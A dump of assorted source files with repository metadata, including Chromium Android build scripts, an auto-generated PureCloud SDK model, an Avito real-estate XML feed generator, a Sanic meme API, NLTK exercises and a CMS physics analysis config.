# Otherwise, all resources will be final, and no method will be generated.
#
rjava_build_options = resource_utils.RJavaBuildOptions()
if options.shared_resources_whitelist:
rjava_build_options.ExportSomeResources(
options.shared_resources_whitelist)
rjava_build_options.GenerateOnResourcesLoaded()
elif options.shared_resources or options.app_as_shared_lib:
rjava_build_options.ExportAllResources()
rjava_build_options.GenerateOnResourcesLoaded()
resource_utils.CreateRJavaFiles(
build.srcjar_dir, package, r_txt_path,
options.extra_res_packages,
options.extra_r_text_files,
rjava_build_options)
if options.srcjar_out:
build_utils.ZipDir(options.srcjar_out, build.srcjar_dir)
if options.check_resources_pkg_id is not None:
expected_id = options.check_resources_pkg_id
package_id = _ExtractPackageIdFromApk(options.apk_path,
options.aapt_path)
if package_id != expected_id:
raise Exception('Invalid package ID 0x%x (expected 0x%x)' %
(package_id, expected_id))
def main(args):
args = build_utils.ExpandFileArgs(args)
options = _ParseArgs(args)
# Order of these must match order specified in GN so that the correct one
# appears first in the depfile.
possible_output_paths = [
options.apk_path,
options.apk_path + '.info',
options.r_text_out,
options.srcjar_out,
options.proguard_file,
options.proguard_file_main_dex,
]
output_paths = [x for x in possible_output_paths if x]
# List python deps in input_strings rather than input_paths since the contents
# of them does not change what gets written to the depsfile.
input_strings = options.extra_res_packages + [
options.shared_resources,
options.exclude_xxxhdpi,
options.xxxhdpi_whitelist,
str(options.debuggable),
str(options.png_to_webp),
str(options.support_zh_hk),
str(options.no_xml_namespaces),
]
input_strings.extend(_CreateLinkApkArgs(options))
possible_input_paths = [
options.aapt_path,
options.android_manifest,
options.shared_resources_whitelist,
]
possible_input_paths += options.android_sdk_jars
input_paths = [x for x in possible_input_paths if x]
input_paths.extend(options.dependencies_res_zips)
input_paths.extend(options.extra_r_text_files)
if options.webp_binary:
input_paths.append(options.webp_binary)
build_utils.CallAndWriteDepfileIfStale(
lambda: _OnStaleMd5(options),
options,
input_paths=input_paths,
input_strings=input_strings,
output_paths=output_paths,
depfile_deps=options.dependencies_res_zips + options.extra_r_text_files)
if __name__ == '__main__':
main(sys.argv[1:])
| [
"commit-bot@chromium.org"
] | commit-bot@chromium.org |
aa5f9d8ad652004e8dfb05b3084f3c093ae308dc | b05761d771bb5a85d39d370c649567c1ff3eb089 | /venv/lib/python3.10/site-packages/pastel/stack.py | 54fb6dca9019d5c0546ee62d3ff5dcb3ade6c880 | [] | no_license | JawshyJ/Coding_Practice | 88c49cab955eab04609ec1003b6b8c20f103fc06 | eb6b229d41aa49b1545af2120e6bee8e982adb41 | refs/heads/master | 2023-02-19T10:18:04.818542 | 2023-02-06T21:22:58 | 2023-02-06T21:22:58 | 247,788,631 | 4 | 0 | null | null | null | null | UTF-8 | Python | false | false | 96 | py | /home/runner/.cache/pip/pool/e2/22/00/6320ecd2562677b93d64e56de7c5734b6c4600779bf16003fa0927c1d3 | [
"37465112+JawshyJ@users.noreply.github.com"
] | 37465112+JawshyJ@users.noreply.github.com |
2fc342fc0eebc6669e50dc50c0c1d8ca898780a2 | 234c7fb0bdabdd696c8e4c6a449ac2c8e3f14ad5 | /build/PureCloudPlatformClientV2/models/flow_outcome_division_view_entity_listing.py | c6276c1beb04093276698b7e5c4e77068b3ab77d | [
"Apache-2.0",
"MIT"
] | permissive | humano7/platform-client-sdk-python | 2a942c43cc2d69e8cb0c4113d998e6e0664fdedb | dd5b693b1fc90c9dcb36885d7227f11221db5980 | refs/heads/master | 2023-04-12T05:05:53.932393 | 2021-04-22T03:41:22 | 2021-04-22T03:41:22 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 9,784 | py | # coding: utf-8
"""
Copyright 2016 SmartBear Software
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
Ref: https://github.com/swagger-api/swagger-codegen
"""
from pprint import pformat
from six import iteritems
import re
import json
from ..utils import sanitize_for_serialization
class FlowOutcomeDivisionViewEntityListing(object):
"""
NOTE: This class is auto generated by the swagger code generator program.
Do not edit the class manually.
"""
def __init__(self):
"""
FlowOutcomeDivisionViewEntityListing - a model defined in Swagger
:param dict swaggerTypes: The key is attribute name
and the value is attribute type.
:param dict attributeMap: The key is attribute name
and the value is json key in definition.
"""
self.swagger_types = {
'entities': 'list[FlowOutcomeDivisionView]',
'page_size': 'int',
'page_number': 'int',
'total': 'int',
'first_uri': 'str',
'self_uri': 'str',
'next_uri': 'str',
'previous_uri': 'str',
'last_uri': 'str',
'page_count': 'int'
}
self.attribute_map = {
'entities': 'entities',
'page_size': 'pageSize',
'page_number': 'pageNumber',
'total': 'total',
'first_uri': 'firstUri',
'self_uri': 'selfUri',
'next_uri': 'nextUri',
'previous_uri': 'previousUri',
'last_uri': 'lastUri',
'page_count': 'pageCount'
}
self._entities = None
self._page_size = None
self._page_number = None
self._total = None
self._first_uri = None
self._self_uri = None
self._next_uri = None
self._previous_uri = None
self._last_uri = None
self._page_count = None
@property
def entities(self):
"""
Gets the entities of this FlowOutcomeDivisionViewEntityListing.
:return: The entities of this FlowOutcomeDivisionViewEntityListing.
:rtype: list[FlowOutcomeDivisionView]
"""
return self._entities
@entities.setter
def entities(self, entities):
"""
Sets the entities of this FlowOutcomeDivisionViewEntityListing.
:param entities: The entities of this FlowOutcomeDivisionViewEntityListing.
:type: list[FlowOutcomeDivisionView]
"""
self._entities = entities
@property
def page_size(self):
"""
Gets the page_size of this FlowOutcomeDivisionViewEntityListing.
:return: The page_size of this FlowOutcomeDivisionViewEntityListing.
:rtype: int
"""
return self._page_size
@page_size.setter
def page_size(self, page_size):
"""
Sets the page_size of this FlowOutcomeDivisionViewEntityListing.
:param page_size: The page_size of this FlowOutcomeDivisionViewEntityListing.
:type: int
"""
self._page_size = page_size
@property
def page_number(self):
"""
Gets the page_number of this FlowOutcomeDivisionViewEntityListing.
:return: The page_number of this FlowOutcomeDivisionViewEntityListing.
:rtype: int
"""
return self._page_number
@page_number.setter
def page_number(self, page_number):
"""
Sets the page_number of this FlowOutcomeDivisionViewEntityListing.
:param page_number: The page_number of this FlowOutcomeDivisionViewEntityListing.
:type: int
"""
self._page_number = page_number
@property
def total(self):
"""
Gets the total of this FlowOutcomeDivisionViewEntityListing.
:return: The total of this FlowOutcomeDivisionViewEntityListing.
:rtype: int
"""
return self._total
@total.setter
def total(self, total):
"""
Sets the total of this FlowOutcomeDivisionViewEntityListing.
:param total: The total of this FlowOutcomeDivisionViewEntityListing.
:type: int
"""
self._total = total
@property
def first_uri(self):
"""
Gets the first_uri of this FlowOutcomeDivisionViewEntityListing.
:return: The first_uri of this FlowOutcomeDivisionViewEntityListing.
:rtype: str
"""
return self._first_uri
@first_uri.setter
def first_uri(self, first_uri):
"""
Sets the first_uri of this FlowOutcomeDivisionViewEntityListing.
:param first_uri: The first_uri of this FlowOutcomeDivisionViewEntityListing.
:type: str
"""
self._first_uri = first_uri
@property
def self_uri(self):
"""
Gets the self_uri of this FlowOutcomeDivisionViewEntityListing.
:return: The self_uri of this FlowOutcomeDivisionViewEntityListing.
:rtype: str
"""
return self._self_uri
@self_uri.setter
def self_uri(self, self_uri):
"""
Sets the self_uri of this FlowOutcomeDivisionViewEntityListing.
:param self_uri: The self_uri of this FlowOutcomeDivisionViewEntityListing.
:type: str
"""
self._self_uri = self_uri
@property
def next_uri(self):
"""
Gets the next_uri of this FlowOutcomeDivisionViewEntityListing.
:return: The next_uri of this FlowOutcomeDivisionViewEntityListing.
:rtype: str
"""
return self._next_uri
@next_uri.setter
def next_uri(self, next_uri):
"""
Sets the next_uri of this FlowOutcomeDivisionViewEntityListing.
:param next_uri: The next_uri of this FlowOutcomeDivisionViewEntityListing.
:type: str
"""
self._next_uri = next_uri
@property
def previous_uri(self):
"""
Gets the previous_uri of this FlowOutcomeDivisionViewEntityListing.
:return: The previous_uri of this FlowOutcomeDivisionViewEntityListing.
:rtype: str
"""
return self._previous_uri
@previous_uri.setter
def previous_uri(self, previous_uri):
"""
Sets the previous_uri of this FlowOutcomeDivisionViewEntityListing.
:param previous_uri: The previous_uri of this FlowOutcomeDivisionViewEntityListing.
:type: str
"""
self._previous_uri = previous_uri
@property
def last_uri(self):
"""
Gets the last_uri of this FlowOutcomeDivisionViewEntityListing.
:return: The last_uri of this FlowOutcomeDivisionViewEntityListing.
:rtype: str
"""
return self._last_uri
@last_uri.setter
def last_uri(self, last_uri):
"""
Sets the last_uri of this FlowOutcomeDivisionViewEntityListing.
:param last_uri: The last_uri of this FlowOutcomeDivisionViewEntityListing.
:type: str
"""
self._last_uri = last_uri
@property
def page_count(self):
"""
Gets the page_count of this FlowOutcomeDivisionViewEntityListing.
:return: The page_count of this FlowOutcomeDivisionViewEntityListing.
:rtype: int
"""
return self._page_count
@page_count.setter
def page_count(self, page_count):
"""
Sets the page_count of this FlowOutcomeDivisionViewEntityListing.
:param page_count: The page_count of this FlowOutcomeDivisionViewEntityListing.
:type: int
"""
self._page_count = page_count
def to_dict(self):
"""
Returns the model properties as a dict
"""
result = {}
for attr, _ in iteritems(self.swagger_types):
value = getattr(self, attr)
if isinstance(value, list):
result[attr] = list(map(
lambda x: x.to_dict() if hasattr(x, "to_dict") else x,
value
))
elif hasattr(value, "to_dict"):
result[attr] = value.to_dict()
elif isinstance(value, dict):
result[attr] = dict(map(
lambda item: (item[0], item[1].to_dict())
if hasattr(item[1], "to_dict") else item,
value.items()
))
else:
result[attr] = value
return result
def to_json(self):
"""
Returns the model as raw JSON
"""
return json.dumps(sanitize_for_serialization(self.to_dict()))
def to_str(self):
"""
Returns the string representation of the model
"""
return pformat(self.to_dict())
def __repr__(self):
"""
For `print` and `pprint`
"""
return self.to_str()
def __eq__(self, other):
"""
Returns true if both objects are equal
"""
return self.__dict__ == other.__dict__
def __ne__(self, other):
"""
Returns true if both objects are not equal
"""
return not self == other
| [
"purecloud-jenkins@ininica.com"
] | purecloud-jenkins@ininica.com |
07a0488b1aea8b5844b465d7c255d1e90e95f08c | 45034fd848c701ecdcb5f3bd1d3ea43d24abce2d | /agency/xml/feed_avito.py | cb819342318182284342678e39ff819c7382551e | [] | no_license | JazinBazin/height | b5740d17fb5e6e184f8af40d16ccad12d57cea58 | 06fd76fc62567efd3688688197cc66a205a0c309 | refs/heads/master | 2020-05-20T17:05:20.892218 | 2019-06-29T13:40:40 | 2019-06-29T13:40:40 | 185,679,726 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 4,041 | py | import xml.etree.ElementTree as ET
avito_feed_file_name = 'feed_avito.xml'
def avito_add_lot_offer(instance):
try:
if instance.transaction_type != 'p':
return
tree = ET.parse(avito_feed_file_name)
feed = tree.getroot()
avito_create_lot_offer(feed, instance)
tree.write(avito_feed_file_name, encoding='UTF-8',
xml_declaration=False)
except Exception as ex:
with open('log.txt', 'a') as log_file:
log_file.write('error in function avito_add_lot_offer. pk = ' +
str(instance.pk) + '\nwhat: ' + str(ex) + '\n')
def avito_remove_lot_offer(pk):
try:
pk = str(pk)
tree = ET.parse(avito_feed_file_name)
feed = tree.getroot()
for ad in feed:
ad_id = ad.find('Id')
if ad_id.text == pk:
feed.remove(ad)
break
tree.write(avito_feed_file_name, encoding='UTF-8',
xml_declaration=False)
except Exception as ex:
with open('log.txt', 'a') as log_file:
log_file.write('error in function avito_remove_lot_offer. pk = ' +
str(pk) + '\nwhat: ' + str(ex) + '\n')
def avito_update_lot_offer(instance):
avito_remove_lot_offer(instance.pk)
avito_add_lot_offer(instance)
def avito_create_lot_offer(feed, instance):
Ad = ET.Element('Ad')
feed.append(Ad)
ad_id = ET.SubElement(Ad, 'Id')
ad_id.text = str(instance.pk)
AllowEmail = ET.SubElement(Ad, 'AllowEmail')
AllowEmail.text = 'Да'
ManagerName = ET.SubElement(Ad, 'ManagerName')
ManagerName.text = 'Юденич Светлана Станиславовна'
ContactPhone = ET.SubElement(Ad, 'ContactPhone')
ContactPhone.text = '+7 (978) 834-31-76'
Address = ET.SubElement(Ad, 'Address')
Address.text = 'Россия, Крым'
if instance.district:
Address.text += ', ' + str(instance.district)
if 'район' not in str(instance.district).lower():
Address.text += ' район'
if instance.populated_area:
Address.text += ', ' + str(instance.populated_area)
DistanceToCity = ET.SubElement(Ad, 'DistanceToCity')
DistanceToCity.text = '0'
Description = ET.SubElement(Ad, 'Description')
Description.text = str(instance.description)
Category = ET.SubElement(Ad, 'Category')
Category.text = 'Земельные участки'
OperationType = ET.SubElement(Ad, 'OperationType')
OperationType.text = 'Продам'
Price = ET.SubElement(Ad, 'Price')
if instance.currency == 'r':
Price.text = str(int(instance.price))
elif instance.currency == 'd':
Price.text = str(int(instance.price * 60))
else:
Price.text = str(int(instance.price * 70))
LandArea = ET.SubElement(Ad, 'LandArea')
if instance.area_units == 'm':
LandArea.text = str(int(instance.area / 100))
elif instance.area_units == 'h':
LandArea.text = str(int(instance.area * 100))
else:
LandArea.text = str(int(instance.area))
PropertyRights = ET.SubElement(Ad, 'PropertyRights')
if instance.cadastral_number:
PropertyRights.text = 'Собственник'
CadastralNumber = ET.SubElement(Ad, 'CadastralNumber')
CadastralNumber.text = str(instance.cadastral_number)
else:
PropertyRights.text = 'Посредник'
ObjectType = ET.SubElement(Ad, 'ObjectType')
if instance.lot_type == 'i':
ObjectType.text = 'Поселений (ИЖС)'
else:
ObjectType.text = 'Сельхозназначения (СНТ, ДНП)'
Images = ET.SubElement(Ad, 'Images')
Image = ET.SubElement(Images, 'Image')
Image.set('url', 'https://высота-крым.рф' + str(instance.image.url))
for photo in instance.images.all():
Image = ET.SubElement(Images, 'Image')
Image.set('url', 'https://высота-крым.рф' + str(photo.image.url))
| [
"yudenichaa@yandex.ru"
] | yudenichaa@yandex.ru |
c9b0c8e2dfee1bbb42c1b6a641db68ca4e2c25d9 | 037877a31670a85fa78b61df9ceabe981cfdfbf6 | /sympy/concrete/__init__.py | ad08eb41b7aa48ef70be397eb1ba68e3f15b61f0 | [] | no_license | certik/sympy_gamma | 6343b02e5d6d1c7d511a3329bbbd27cd11cd7ec8 | b0e555ca03f8476533cb1c19575f4461533837de | refs/heads/master | 2020-12-25T03:52:40.132034 | 2010-02-15T08:02:31 | 2010-02-15T08:02:31 | 344,391 | 2 | 2 | null | null | null | null | UTF-8 | Python | false | false | 136 | py |
from products import product, Product
from summations import sum, Sum
from sums_products import Sum2
from gosper import normal, gosper
| [
"ondrej@certik.cz"
] | ondrej@certik.cz |
03dfab3cd71fc24f153386023aa51f38c46348bd | 612325535126eaddebc230d8c27af095c8e5cc2f | /src/build/android/gyp/pack_relocations.py | 89c01f05a61391682feebe40ddd3c8c1930db4b5 | [
"BSD-3-Clause"
] | permissive | TrellixVulnTeam/proto-quic_1V94 | 1a3a03ac7a08a494b3d4e9857b24bb8f2c2cd673 | feee14d96ee95313f236e0f0e3ff7719246c84f7 | refs/heads/master | 2023-04-01T14:36:53.888576 | 2019-10-17T02:23:04 | 2019-10-17T02:23:04 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 3,671 | py | #!/usr/bin/env python
#
# Copyright 2014 The Chromium Authors. All rights reserved.
# Use of this source code is governed by a BSD-style license that can be
# found in the LICENSE file.
"""Pack relocations in a library (or copy unchanged).
If --enable-packing and --configuration-name=='Release', invoke the
relocation_packer tool to pack the .rel.dyn or .rela.dyn section in the given
library files. This step is inserted after the libraries are stripped.
If --enable-packing is zero, the script copies files verbatim, with no
attempt to pack relocations.
"""
import ast
import optparse
import os
import shutil
import sys
import tempfile
from util import build_utils
def PackLibraryRelocations(android_pack_relocations, library_path, output_path):
shutil.copy(library_path, output_path)
pack_command = [android_pack_relocations, output_path]
build_utils.CheckOutput(pack_command)
def CopyLibraryUnchanged(library_path, output_path):
shutil.copy(library_path, output_path)
def main(args):
args = build_utils.ExpandFileArgs(args)
parser = optparse.OptionParser()
build_utils.AddDepfileOption(parser)
parser.add_option('--clear-dir', action='store_true',
help='If set, the destination directory will be deleted '
'before copying files to it. This is highly recommended to '
'ensure that no stale files are left in the directory.')
parser.add_option('--configuration-name',
default='Release',
help='Gyp configuration name (i.e. Debug, Release)')
parser.add_option('--enable-packing',
choices=['0', '1'],
help=('Pack relocations if 1 and configuration name is \'Release\','
' otherwise plain file copy'))
parser.add_option('--android-pack-relocations',
help='Path to the relocations packer binary')
parser.add_option('--stripped-libraries-dir',
help='Directory for stripped libraries')
parser.add_option('--packed-libraries-dir',
help='Directory for packed libraries')
parser.add_option('--libraries', action='append',
help='List of libraries in Python dictionary format')
parser.add_option('--stamp', help='Path to touch on success')
parser.add_option('--filelistjson',
help='Output path of filelist.json to write')
options, _ = parser.parse_args(args)
enable_packing = (options.enable_packing == '1' and
options.configuration_name == 'Release')
libraries = []
for libs_arg in options.libraries:
libraries += ast.literal_eval(libs_arg)
if options.clear_dir:
build_utils.DeleteDirectory(options.packed_libraries_dir)
build_utils.MakeDirectory(options.packed_libraries_dir)
output_paths = []
for library in libraries:
library_path = os.path.join(options.stripped_libraries_dir, library)
output_path = os.path.join(
options.packed_libraries_dir, os.path.basename(library))
output_paths.append(output_path)
if enable_packing:
PackLibraryRelocations(options.android_pack_relocations,
library_path,
output_path)
else:
CopyLibraryUnchanged(library_path, output_path)
if options.filelistjson:
build_utils.WriteJson({ 'files': output_paths }, options.filelistjson)
output_paths.append(options.filelistjson)
if options.depfile:
build_utils.WriteDepfile(options.depfile, output_paths[-1], libraries)
if options.stamp:
build_utils.Touch(options.stamp)
return 0
if __name__ == '__main__':
sys.exit(main(sys.argv[1:]))
| [
"2100639007@qq.com"
] | 2100639007@qq.com |
b5261996143a809047a41f5fd39fe46b57b79f0c | 15b12d69ac3123d1562986970ce01d7a47d171de | /typings/nltk/misc/wordfinder.pyi | 8fbb7b9a5fbec1e043e6e51712347842946e93d0 | [
"Apache-2.0"
] | permissive | simplymanas/python-learning | 9b67b5a7acfb3a7c2455a7d1fc66203a2b419c37 | 75bc99c0dce211fd1bce5f6ce1155e0f4c71d7d0 | refs/heads/master | 2021-07-11T06:40:24.803589 | 2021-06-20T12:06:02 | 2021-06-20T12:06:02 | 241,769,614 | 5 | 1 | null | null | null | null | UTF-8 | Python | false | false | 1,103 | pyi | """
This type stub file was generated by pyright.
"""
def revword(word):
...
def step(word, x, xf, y, yf, grid):
...
def check(word, dir, x, y, grid, rows, cols):
...
def wordfinder(words, rows=..., cols=..., attempts=..., alph=...):
"""
Attempt to arrange words into a letter-grid with the specified
number of rows and columns. Try each word in several positions
and directions, until it can be fitted into the grid, or the
maximum number of allowable attempts is exceeded. Returns a tuple
consisting of the grid and the words that were successfully
placed.
:param words: the list of words to be put into the grid
:type words: list
:param rows: the number of rows in the grid
:type rows: int
:param cols: the number of columns in the grid
:type cols: int
:param attempts: the number of times to attempt placing a word
:type attempts: int
:param alph: the alphabet, to be used for filling blank cells
:type alph: list
:rtype: tuple
"""
...
def word_finder():
...
if __name__ == '__main__':
...
| [
"manas.dash@tesco.com"
] | manas.dash@tesco.com |
6f9545c1c44ca8d988e519fb3ea7915411b32e56 | bf76afd4a984e5cee607a76f2bb9490797010b33 | /accounts/api/urls.py | 33d0ccc97a22e3b2c5a927ae38ee366e7f23f25f | [] | no_license | itsloys/tweet | a0c75718dd78971aae03129895b0e710dad0b7cc | dfd3a745ac83842999ca9af9085ab26adb150295 | refs/heads/master | 2021-09-07T02:51:33.646734 | 2018-02-16T05:55:49 | 2018-02-16T05:55:49 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 189 | py | from django.conf.urls import url
from tweets.api.views import (
TweetListAPIView
)
urlpatterns = [
url(r'^(?P<username>[\w.@+-]+)/tweet/$', TweetListAPIView.as_view(), name='list'),
] | [
"louisaleksieb.dagusen@gmail.com"
] | louisaleksieb.dagusen@gmail.com |
ead0e0a903999cb85caad2b76d28601ad31e19a1 | 590a4f34de0dd9b964b52e41d84cf3218609c9d4 | /climbingStairs.py | 1ca699fb1a7c1009fc8ee36c297063024d7130f0 | [] | no_license | zhrmrz/climbingStairs | 81d97c5b23b811116192ea27172170a9ff55aa68 | 0455ad42e56dca3a1ee66c121323faf90d1efc98 | refs/heads/master | 2020-04-23T03:50:25.962986 | 2019-02-15T15:52:32 | 2019-02-15T15:52:32 | 170,889,452 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 316 | py | class Sol:
def climbing_stairs(self,numOfStairs):
if numOfStairs ==1 or numOfStairs ==0:
return 1
return self.climbing_stairs(numOfStairs - 1) + self.climbing_stairs(numOfStairs - 2)
if __name__ == '__main__':
numOfStairs=5
p1=Sol()
print(p1.climbing_stairs(numOfStairs))
| [
"noreply@github.com"
] | zhrmrz.noreply@github.com |
666e846a19ec40bfb77ca6238787a9f10d1e0bc6 | aaad70e69d37f92c160c07e4ca03de80becf2c51 | /filesystem/usr/lib/python3.6/typing.py | 38eba04e677eb46599d1e8690a84dbc547044f3f | [] | no_license | OSWatcher/ubuntu-server | 9b4dcad9ced1bff52ec9cdb4f96d4bdba0ad3bb9 | 17cb333124c8d48cf47bb9cec1b4e1305626b17a | refs/heads/master | 2023-02-10T18:39:43.682708 | 2020-12-26T01:02:54 | 2020-12-26T01:02:54 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 186 | py | {
"MIME": "text/x-python",
"inode_type": "REG",
"magic_type": "Python script, ASCII text executable",
"mode": "-rw-r--r--",
"sha1": "827ca9e64ac471213db81b20b50191728a1e0db3"
} | [
"mathieu.tarral@protonmail.com"
] | mathieu.tarral@protonmail.com |
c2d8c4486d51afdfedb04e6bdffca8563e713970 | ca7aa979e7059467e158830b76673f5b77a0f5a3 | /Python_codes/p02801/s692186683.py | 101c9198ef90d45399d7eca841820863bdf5ef86 | [] | no_license | Aasthaengg/IBMdataset | 7abb6cbcc4fb03ef5ca68ac64ba460c4a64f8901 | f33f1c5c3b16d0ea8d1f5a7d479ad288bb3f48d8 | refs/heads/main | 2023-04-22T10:22:44.763102 | 2021-05-13T17:27:22 | 2021-05-13T17:27:22 | 367,112,348 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 39 | py | C = input()
D = chr(ord(C)+1)
print(D) | [
"66529651+Aastha2104@users.noreply.github.com"
] | 66529651+Aastha2104@users.noreply.github.com |
e7d02b3f6ce84fe8eae213ef42f6cb8167f57557 | 6f69ec5f27716b36d7a61b2d150408118bb65559 | /app/views/clients.py | 5dd16656b768657d3c7388690c44440372371d8c | [
"MIT"
] | permissive | m3ssana/memegen | a3c35a51cc7a45e9ab3556ee5665775b578985f8 | 20510753d7c6811a75295580f6fdb2c459124e7d | refs/heads/main | 2023-03-15T18:50:23.546416 | 2022-07-12T21:19:46 | 2022-07-12T21:19:46 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,515 | py | from sanic import Blueprint, response
from sanic_ext import openapi
from .. import utils
from .helpers import preview_image
from .schemas import AuthResponse, ErrorResponse
blueprint = Blueprint("clients", url_prefix="/")
@blueprint.post("/auth")
@openapi.summary("Validate your API key")
@openapi.response(200, {"application/json": AuthResponse}, "Your API key is valid")
@openapi.response(401, {"application/json": ErrorResponse}, "Your API key is invalid")
async def validate(request):
info = await utils.meta.authenticate(request)
return response.json(
info or {"error": "API key missing or invalid."},
status=200 if info else 401,
)
@blueprint.get("/images/preview.jpg")
@openapi.summary("Display a preview of a custom meme")
@openapi.parameter("text[]", str, "query", description="Lines of text to render")
@openapi.parameter("style", str, "query", description="Style name or custom overlay")
@openapi.parameter(
"template", str, "query", description="Template ID, URL, or custom background"
)
@openapi.response(200, {"image/jpeg": bytes}, "Successfully displayed a custom meme")
async def preview(request):
id = request.args.get("template", "_error")
lines = request.args.getlist("text[]") or request.args.getlist("lines[]") or []
style = request.args.get("style") or ",".join(request.args.getlist("styles[]", []))
while style.endswith(",default"):
style = style.removesuffix(",default")
return await preview_image(request, id, lines, style)
| [
"jacebrowning@gmail.com"
] | jacebrowning@gmail.com |
2525bb90231a226a0ea32ccb99249f17ba841247 | 60715c9ea4c66d861708531def532814eab781fd | /python-programming-workshop/list/24.listmethods.py | 4cee5ef936923f1209b1adfc70b9c2d7c66add57 | [] | no_license | bala4rtraining/python_programming | 6ce64d035ef04486f5dc9572cb0975dd322fcb3e | 99a5e6cf38448f5a01b310d5f7fa95493139b631 | refs/heads/master | 2023-09-03T00:10:26.272124 | 2021-11-01T08:20:52 | 2021-11-01T08:20:52 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 467 | py |
fruits = ['orange', 'apple', 'pear', 'banana', 'kiwi', 'apple', 'banana']
print(fruits[0])
print(fruits.count('apple'))
print(fruits.count('tangerine'))
print(fruits.index('banana'))
print(fruits.index('banana', 4)) # Find next banana starting a position 4
print(fruits.reverse()) # the fruits reverse is returning None
print(fruits)
fruits.append('grape')
print(fruits)
fruits.sort()
print(fruits)
fruits.pop()
print(fruits)
fruits.remove('apple')
print(fruits)
| [
"karthikkannan@gmail.com"
] | karthikkannan@gmail.com |
c18ebb7f50f1f17388bcd0a8d07ad564c0918332 | e570b6d6ffee8b600d0047ff9eeb8eb671660a58 | /7. NLTK/NLTK Code.py | 40695e3ab519bbe04b320d5813447a5f4f4e4df1 | [] | no_license | ShashankSinha98/MachineLearning | 06619687bb83a47c9425dee3a5947747f49bbbb8 | 3b6e94107a8dad6bd25faef400bcc94ed1a77ca4 | refs/heads/master | 2022-07-09T14:33:44.674227 | 2020-05-12T19:27:22 | 2020-05-12T19:27:22 | 256,843,189 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 650 | py | #!/usr/bin/env python
# coding: utf-8
# In[7]:
import nltk
# In[9]:
from nltk.corpus import brown
# In[10]:
# Corpus- Large collection of text
brown.categories()
# In[11]:
data = brown.sents(categories='fiction')
# In[18]:
print(" ".join(data[1]))
# In[19]:
from nltk.corpus import stopwords
sw = set(stopwords.words('english'))
# In[21]:
print(len(sw))
# In[22]:
def remove_stopwords(words,sw):
useful_words = []
useful_words = [w for w in words if w not in sw]
return useful_words
# In[24]:
setence = "I do not love her very much"
ans = remove_stopwords(setence.split(),sw)
print(ans)
# In[ ]:
| [
"34626597+ShashankSinha98@users.noreply.github.com"
] | 34626597+ShashankSinha98@users.noreply.github.com |
36cc8b3c58ca68674925a18aac8712498e09708e | d225ec04301d8abd681d68ad8d7316befc404bc1 | /ZShape/EffAcc/python/scans/EE_mean_Apr12_1251_cfg.py | e60ceb0aea80a1df554aef8fd6b6e2792995aa08 | [] | no_license | UMN-CMS/ZShape_Analysis | 372ea0083d6c0bda2dbba30322ef01269501afa8 | 83bff158b21210b048afbcff0af1e803780ad4bd | refs/heads/master | 2020-06-07T10:34:40.227684 | 2013-12-11T16:59:25 | 2013-12-11T16:59:25 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 5,424 | py | import FWCore.ParameterSet.Config as cms
process = cms.Process("Zefficiency")
process.TimerService = cms.Service("TimerService")
process.load('FWCore.MessageService.MessageLogger_cfi')
process.MessageLogger.cerr.FwkReport.reportEvery = 1000
process.options = cms.untracked.PSet(
wantSummary = cms.untracked.bool(True),
SkipEvent = cms.untracked.vstring('ProductNotFound')
)
process.maxEvents = cms.untracked.PSet(
input = cms.untracked.int32(30000)
)
process.source = cms.Source("PoolSource",
duplicateCheckMode = cms.untracked.string('noDuplicateCheck'),
fileNames = cms.untracked.vstring("file:/home/jmmans/data/zshape/Summer11_DYToEE_M-20_CT10_TuneZ2_7TeV-powheg-pythia/F61A0CD6-9AA8-E011-A92B-0024E8769B05.root" )
)
process.TFileService = cms.Service("TFileService",
fileName = cms.string('histo_10M_partBUILDINGTTEST.root')
)
process.f2s = cms.EDProducer("ZFullSim2Event"
)
import ZShape.EffAcc.FullSimSmearedElectronProducer_cfi
import ZShape.EffAcc.ZEfficiencyKevin_cfi
process.EEXmeanX0X989Xsmear = ZShape.EffAcc.FullSimSmearedElectronProducer_cfi.FullSimSmearedElectronsProducer.clone()
process.EEXmeanX0X989Xsmear.EE.mean = cms.double(0.989)
process.EEXmeanX0X989 = ZShape.EffAcc.ZEfficiencyKevin_cfi.mcEff.clone()
process.EEXmeanX0X989.zTreeLevelElectronsCollection = cms.untracked.InputTag("f2s","ZEventEle3")
process.EEXmeanX0X989.zsrc = cms.untracked.InputTag("EEXmeanX0X989Xsmear","ZEventParticles")
process.EEXmeanX0X989.zElectronsCollection = cms.untracked.InputTag("EEXmeanX0X989Xsmear","ZEventParticles")
process.EEXmeanX0X990Xsmear = ZShape.EffAcc.FullSimSmearedElectronProducer_cfi.FullSimSmearedElectronsProducer.clone()
process.EEXmeanX0X990Xsmear.EE.mean = cms.double(0.990)
process.EEXmeanX0X990 = ZShape.EffAcc.ZEfficiencyKevin_cfi.mcEff.clone()
process.EEXmeanX0X990.zTreeLevelElectronsCollection = cms.untracked.InputTag("f2s","ZEventEle3")
process.EEXmeanX0X990.zsrc = cms.untracked.InputTag("EEXmeanX0X990Xsmear","ZEventParticles")
process.EEXmeanX0X990.zElectronsCollection = cms.untracked.InputTag("EEXmeanX0X990Xsmear","ZEventParticles")
process.EEXmeanX0X991Xsmear = ZShape.EffAcc.FullSimSmearedElectronProducer_cfi.FullSimSmearedElectronsProducer.clone()
process.EEXmeanX0X991Xsmear.EE.mean = cms.double(0.991)
process.EEXmeanX0X991 = ZShape.EffAcc.ZEfficiencyKevin_cfi.mcEff.clone()
process.EEXmeanX0X991.zTreeLevelElectronsCollection = cms.untracked.InputTag("f2s","ZEventEle3")
process.EEXmeanX0X991.zsrc = cms.untracked.InputTag("EEXmeanX0X991Xsmear","ZEventParticles")
